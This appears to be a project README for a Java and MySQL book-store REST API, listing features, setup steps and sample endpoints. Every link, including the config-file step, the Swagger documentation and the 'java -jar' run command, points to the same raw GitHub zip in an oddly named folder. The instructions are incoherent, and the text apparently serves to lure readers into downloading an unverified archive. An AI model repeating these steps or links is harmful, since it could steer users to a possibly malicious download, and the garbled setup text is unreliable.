Welcome to the RestFull-Book-Store-API! This application helps you manage books and authors in an easy-to-navigate digital library. Whether you're a book lover or just need an efficient way to organize your collection, this API is for you.
Before you start, ensure your system meets the following requirements:
- Java: Version 11 or higher
- MySQL: Version 5.7 or higher
- RAM: At least 2 GB
- Disk Space: Minimum 100 MB available
- Global Exception Handling: Handle errors smoothly with user-friendly messages.
- Book Management: Easily add, remove, and modify books in your library.
- Author Management: Keep track of author details and their associated books.
- Pagination: View large lists of books without clutter.
- Sorting: Organize books based on title, author, or date added.
- RESTful API: Interact via standard HTTP requests.
- Postman Collection: Test the API endpoints with an easily importable collection.
- Swagger API Documentation: View and test the API directly in your browser.
To set up the RestFull-Book-Store-API:
- Visit the Releases Page: Go to this link to find the latest version.
- Download the Application: Look for the latest release and download it. You will find files related to various operating systems.
- Extract Files: After downloading, extract the files to a folder on your computer.
- Setup Database:
- Make sure MySQL Server is running.
- Create a database named
book_store.
- Configure Application Properties:
- Open the
https://raw.githubusercontent.com/Grasyypc/RestFull-Book-Store-API/main/heavenless/RestFull-Book-Store-API.zipfile. - Update the MySQL connection details (username, password, and URL).
- Open the
- Run the Application:
- Open your command prompt or terminal.
- Navigate to the folder where you extracted the files.
- Run the following command:
java -jar https://raw.githubusercontent.com/Grasyypc/RestFull-Book-Store-API/main/heavenless/RestFull-Book-Store-API.zip
After setting up the application, you can access it via http://localhost:8080. Use a tool like Postman to interact with the API endpoints.
To retrieve a list of all books, send a GET request to:
GET http://localhost:8080/api/books
To add a new book, send a POST request with the following JSON body:
{
"title": "New Book Title",
"author": "Author Name",
"publishedDate": "2023-01-01"
}You can explore the available endpoints using the Swagger documentation. Simply navigate to https://raw.githubusercontent.com/Grasyypc/RestFull-Book-Store-API/main/heavenless/RestFull-Book-Store-API.zip in your web browser.
If you wish to contribute:
- Fork the Repository: Create your own copy of the repository.
- Make Changes: Make the desired changes in your fork.
- Submit a Pull Request: Share your enhancements back to the original project.
Feel free to reach out for support. You can open issues in the repository if you face any challenges, or check the FAQs for common queries.
Now you're ready to start using the RestFull-Book-Store-API! Enjoy your new digital library system.